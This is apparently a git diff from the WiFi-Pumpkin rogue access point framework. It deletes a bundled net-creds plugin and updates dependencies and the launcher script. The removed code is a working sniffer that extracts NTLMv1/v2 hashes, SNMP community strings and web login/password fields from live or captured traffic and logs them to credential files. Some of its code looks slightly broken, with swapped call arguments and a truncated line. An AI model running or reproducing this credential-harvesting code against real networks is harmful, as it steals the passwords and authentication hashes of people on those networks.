printer(src_ip_port, dst_ip_port, msg) - -def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq): - ''' - Parse NTLM hashes out - ''' - # Type 2 challenge from server - if authenticate_header != None: - chal_header = authenticate_header.group() - parse_netntlm_chal(headers, chal_header, ack) - - # Type 3 response from client - elif authorization_header != None: - resp_header = authorization_header.group() - msg = parse_netntlm_resp_msg(headers, resp_header, seq) - if msg != None: - return msg - -def parse_snmp(src_ip_port, dst_ip_port, snmp_layer): - ''' - Parse out the SNMP version and community string - ''' - if type(snmp_layer.community.val) == str: - ver = snmp_layer.version.val - msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) - printer(src_ip_port, dst_ip_port, msg) - return True - -def get_http_url(method, host, path, headers): - ''' - Get the HTTP method + URL from requests - ''' - if method != None and path != None: - - # Make sure the path doesn't repeat the host header - if host != '' and not re.match('(http(s)?://)?'+host, path): - http_url_req = method + ' ' + host + path - else: - http_url_req = method + ' ' + path - - http_url_req = url_filter(http_url_req) - - return http_url_req - -def headers_to_dict(header_lines): - ''' - Convert the list of header lines into a dictionary - ''' - headers = {} - # Incomprehensible list comprehension flattens list of headers - # that are each split at ': ' - # http://stackoverflow.com/a/406296 - headers_list = [x for line in header_lines for x in line.split(': ', 1)] - headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) - # Make the header key (like "Content-Length") lowercase - for header in headers_dict: - headers[header.lower()] = headers_dict[header] - - return headers - -def parse_http_line(http_line, http_methods): - ''' - Parse the header with the HTTP method in it - ''' - http_line_split = http_line.split() - method = '' - path = '' - - # Accounts for pcap files that might start with a fragment - # so the first line might be just text data - if len(http_line_split) > 1: - method = http_line_split[0] - path = http_line_split[1] - - # This check exists because responses are much different than requests e.g.: - # HTTP/1.1 407 Proxy Authentication Required ( Access is denied. ) - # Add a space to method because there's a space in http_methods items - # to avoid false+ - if method+' ' not in http_methods: - method = None - path = None - - return method, path - -def parse_http_load(full_load, http_methods): - ''' - Split the raw load into list of headers and body string - ''' - try: - headers, body = full_load.split("\r\n\r\n", 1) - except ValueError: - headers = full_load - body = '' - header_lines = headers.split("\r\n") - - # Pkts may just contain hex data and no headers in which case we'll - # still want to parse them for usernames and password - http_line = get_http_line(header_lines, http_methods) - if not http_line: - headers = '' - body = full_load - - header_lines = [line for line in header_lines if line != http_line] - - return http_line, header_lines, body - -def get_http_line(header_lines, http_methods): - ''' - Get the header with the http command - ''' - for header in header_lines: - for method in http_methods: - # / is the only char I can think of that's in every http_line - # Shortest valid: "GET /", add check for "/"? - if header.startswith(method): - http_line = header - return http_line - -def parse_netntlm_chal(headers, chal_header, ack): - ''' - Parse the netntlm server challenge - https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py - ''' - try: - header_val2 = headers[chal_header] - except KeyError: - return - header_val2 = header_val2.split(' ', 1) - # The header value can either start with NTLM or Negotiate - if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': - msg2 = header_val2[1] - msg2 = base64.decodestring(msg2) - parse_ntlm_chal(ack, msg2) - -def parse_ntlm_chal(msg2, ack): - ''' - Parse server challenge - ''' - global challenge_acks - - Signature = msg2[0:8] - try: - msg_type = struct.unpack(" 50: - challenge_acks.popitem(last=False) - challenge_acks[ack] = ServerChallenge - -def parse_netntlm_resp_msg(headers, resp_header, seq): - ''' - Parse the client response to the challenge - ''' - try: - header_val3 = headers[resp_header] - except KeyError: - return - header_val3 = header_val3.split(' ', 1) - - # The header value can either start with NTLM or Negotiate - if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': - try: - msg3 = base64.decodestring(header_val3[1]) - except binascii.Error: - return - return parse_ntlm_resp(msg3, seq) - -def parse_ntlm_resp(msg3, seq): - ''' - Parse the 3rd msg in NTLM handshake - Thanks to psychomario - ''' - - if seq in challenge_acks: - challenge = challenge_acks[seq] - else: - challenge = 'CHALLENGE NOT FOUND' - - if len(msg3) > 43: - # Thx to psychomario for below - lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) - lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) - nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) - domain = msg3[domoff:domoff+domlen].replace("\0", "") - user = msg3[useroff:useroff+userlen].replace("\0", "") - # Original check by psychomario, might be incorrect? - #if lmhash != "0"*48: #NTLMv1 - if ntlen == 24: #NTLMv1 - msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) - return msg - elif ntlen > 60: #NTLMv2 - msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) - return msg - -def url_filter(http_url_req): - ''' - Filter out the common but uninteresting URLs - ''' - if http_url_req: - d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] - if any(http_url_req.endswith(i) for i in d): - return - - return http_url_req - -def get_login_pass(body): - ''' - Regex out logins and passwords from a string - ''' - user = None - passwd = None - - # Taken mainly from Pcredz by Laurent Gaffie - userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', - 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', - 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', - 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', - 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] - passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', - 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' - 'passwort', 'passwrd', 'wppassword', 'upasswd'] - - for login in userfields: - login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) - if login_re: - user = login_re.group() - for passfield in passfields: - pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE) - if pass_re: - passwd = pass_re.group() - - if user and passwd: - return (user, passwd) - - -def printer(src_ip_port, dst_ip_port, msg): - if dst_ip_port != None: - print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W) - # All credentials will have dst_ip_port, URLs will not - - # Prevent identical outputs unless it's an HTTP search or POST load - skip = ['Searched ', 'POST load:'] - for s in skip: - if s not in msg: - if os.path.isfile('logs/credentials.txt'): - with open('logs/credentials.txt', 'r') as log: - contents = log.read() - if msg in contents: - return - print('[*] Capture Salved on: logs/credentials.txt') - print print_str - - # Escape colors like whatweb has - ansi_escape = re.compile(r'\x1b[^m]*m') - print_str = ansi_escape.sub('', print_str) - - # Log the creds - creds.info(print_str) - else: - print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg) - url.info(print_str) - print print_str - - -def main(args): - ##################### DEBUG ########################## - ## Hit Ctrl-C while program is running and you can see - ## whatever variable you want within the IPython cli - ## Don't forget to uncomment IPython in imports - #def signal_handler(signal, frame): - # embed() - ## sniff(iface=conf.iface, prn=pkt_parser, store=0) - # sys.exit() - #signal.signal(signal.SIGINT, signal_handler) - ###################################################### - - # Read packets from either pcap or interface - if args.pcap: - try: - pcap = rdpcap(args.pcap) - except Exception: - exit('[-] Could not open %s' % args.pcap) - for pkt in pcap: - pkt_parser(pkt) - else: - # Check for root - if geteuid(): - exit('[-] Please run as root') - - #Find the active interface - if args.interface: - conf.iface = args.interface - else: - conf.iface = iface_finder() - print '[*] Using interface:', conf.iface - import signal - signal.signal(signal.SIGUSR1, SIGUSR1_handle) - if args.filterip: - sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0) - else: - sniff(iface=conf.iface, prn=pkt_parser, store=0) - -def SIGUSR1_handle(signalnum, frame): - noserv = 0 - print('Reconfiguring....') - exit() - -if __name__ == "__main__": - args = parse_args() - setup_logger('netcreds', './logs/AccessPoint/urls.log',args.key) - setup_logger('credentials', './logs/AccessPoint/credentials.log',args.key) - url = logging.getLogger('netcreds') - creds = logging.getLogger('credentials') - main(args) \ No newline at end of file diff --git a/plugins/external/net-creds/requirements.txt b/plugins/external/net-creds/requirements.txt deleted file mode 100644 index 19e98bf..0000000 --- a/plugins/external/net-creds/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -scapy==2.3.1 -wsgiref==0.1.2 diff --git a/requirements.txt b/requirements.txt index f3480fe..5e8097d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -16,4 +16,6 @@ pefile capstone hyperframe h2 -mitmproxy==0.18.2 \ No newline at end of file +mitmproxy==0.18.2 +scapy_http +service_identity \ No newline at end of file diff --git a/wifi-pumpkin.py b/wifi-pumpkin.py index 4cde36b..631c0f2 100755 --- a/wifi-pumpkin.py +++ b/wifi-pumpkin.py @@ -1,4 +1,7 @@ #!/usr/bin/env python2.7 +from logging import getLogger,ERROR +getLogger('scapy.runtime').setLevel(ERROR) + """ Author : Marcos Nesster - mh4root@gmail.com PocL4bs Team Licence : GPL v3 @@ -7,7 +10,7 @@ WiFi-Pumpkin - Framework for Rogue Wi-Fi Access Point Attack. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -32,7 +35,11 @@ def checkAppQTDesigner(style): main.setStyle(QStyleFactory.create('Plastique')) if __name__ == '__main__': - from core.loaders.checker.check_depen import check_dep_pumpkin,RED,ENDC + from core.loaders.checker.depedences import check_dep_pumpkin,RED,ENDC + from core.loaders.checker.networkmanager import CLI_NetworkManager,UI_NetworkManager + from core.utility.collection import SettingsINI + from core.main import Initialize + check_dep_pumpkin() from os import getuid if not getuid() == 0: @@ -42,7 +49,17 @@ def checkAppQTDesigner(style): main = QApplication(argv) checkAppQTDesigner(main.style().objectName()) - from core.main import Initialize + # check if Wireless connection + conf = SettingsINI('core/config/app/config.ini') + if conf.get_setting('accesspoint','checkConnectionWifi',format=bool): + networkcontrol = CLI_NetworkManager() # add all interface avaliable for exclude + if networkcontrol.run(): + if networkcontrol.isWiFiConnected() and len(networkcontrol.ifaceAvaliable) > 0: + settings = UI_NetworkManager() + settings.setWindowIcon(QIcon('icons/icon.ico')) + settings.show() + exit(main.exec_()) + print('Loading GUI...') app = Initialize() app.setWindowIcon(QIcon('icons/icon.ico'))